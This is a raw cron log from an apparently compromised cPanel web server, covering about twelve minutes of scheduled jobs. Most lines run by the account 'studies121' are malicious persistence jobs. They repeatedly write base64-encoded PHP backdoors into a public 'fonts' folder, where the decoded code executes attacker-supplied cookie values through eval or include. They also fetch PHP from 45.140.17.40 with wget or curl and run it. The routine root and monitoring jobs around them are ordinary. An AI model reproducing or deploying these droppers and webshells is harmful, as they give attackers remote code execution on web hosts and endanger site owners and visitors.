Sep 20 11:54:01 ip-184-168-122-23 CROND[14017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:54:01 ip-184-168-122-23 CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:54:01 ip-184-168-122-23 CROND[14019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:55:01 ip-184-168-122-23 CROND[14270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:55:01 ip-184-168-122-23 CROND[14276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:55:01 ip-184-168-122-23 CROND[14274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:55:01 ip-184-168-122-23 CROND[14277]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:55:01 ip-184-168-122-23 CROND[14273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:55:01 ip-184-168-122-23 CROND[14275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:56:01 ip-184-168-122-23 CROND[14549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:56:01 ip-184-168-122-23 CROND[14552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:56:01 ip-184-168-122-23 CROND[14551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:56:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:56:01 ip-184-168-122-23 CROND[14553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:57:01 ip-184-168-122-23 CROND[14800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:57:01 ip-184-168-122-23 CROND[14801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:57:01 ip-184-168-122-23 CROND[14802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:57:01 ip-184-168-122-23 CROND[14805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:58:01 ip-184-168-122-23 CROND[15032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:58:01 ip-184-168-122-23 CROND[15034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:58:01 ip-184-168-122-23 CROND[15036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:58:01 ip-184-168-122-23 CROND[15035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:58:01 ip-184-168-122-23 CROND[15037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:59:01 ip-184-168-122-23 CROND[15366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:59:01 ip-184-168-122-23 CROND[15364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:59:01 ip-184-168-122-23 CROND[15363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:59:01 ip-184-168-122-23 CROND[15365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:00:01 ip-184-168-122-23 CROND[15630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:00:01 ip-184-168-122-23 CROND[15639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15638]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15643]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 20 12:00:01 ip-184-168-122-23 CROND[15637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:01:01 ip-184-168-122-23 CROND[15916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 12:01:01 ip-184-168-122-23 CROND[15917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:01:01 ip-184-168-122-23 CROND[15918]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 12:01:01 ip-184-168-122-23 CROND[15921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:01:01 ip-184-168-122-23 CROND[15923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:01:01 ip-184-168-122-23 CROND[15925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15918]: starting 0anacron
Sep 20 12:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15935]: finished 0anacron
Sep 20 12:02:01 ip-184-168-122-23 CROND[16202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:02:01 ip-184-168-122-23 CROND[16204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:02:01 ip-184-168-122-23 CROND[16205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:02:01 ip-184-168-122-23 CROND[16207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:02:01 ip-184-168-122-23 CROND[16209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:03:01 ip-184-168-122-23 CROND[16431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:03:01 ip-184-168-122-23 CROND[16430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:03:01 ip-184-168-122-23 CROND[16432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:03:01 ip-184-168-122-23 CROND[16435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:04:01 ip-184-168-122-23 CROND[16761]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:04:01 ip-184-168-122-23 CROND[16764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:04:01 ip-184-168-122-23 CROND[16763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:04:01 ip-184-168-122-23 CROND[16765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:04:01 ip-184-168-122-23 CROND[16766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:05:01 ip-184-168-122-23 CROND[17041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:05:01 ip-184-168-122-23 CROND[17044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:05:01 ip-184-168-122-23 CROND[17047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:05:01 ip-184-168-122-23 CROND[17046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:05:01 ip-184-168-122-23 CROND[17045]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 12:05:01 ip-184-168-122-23 CROND[17043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:05:01 ip-184-168-122-23 CROND[17048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:06:01 ip-184-168-122-23 CROND[17320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:06:01 ip-184-168-122-23 CROND[17319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:06:01 ip-184-168-122-23 CROND[17321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
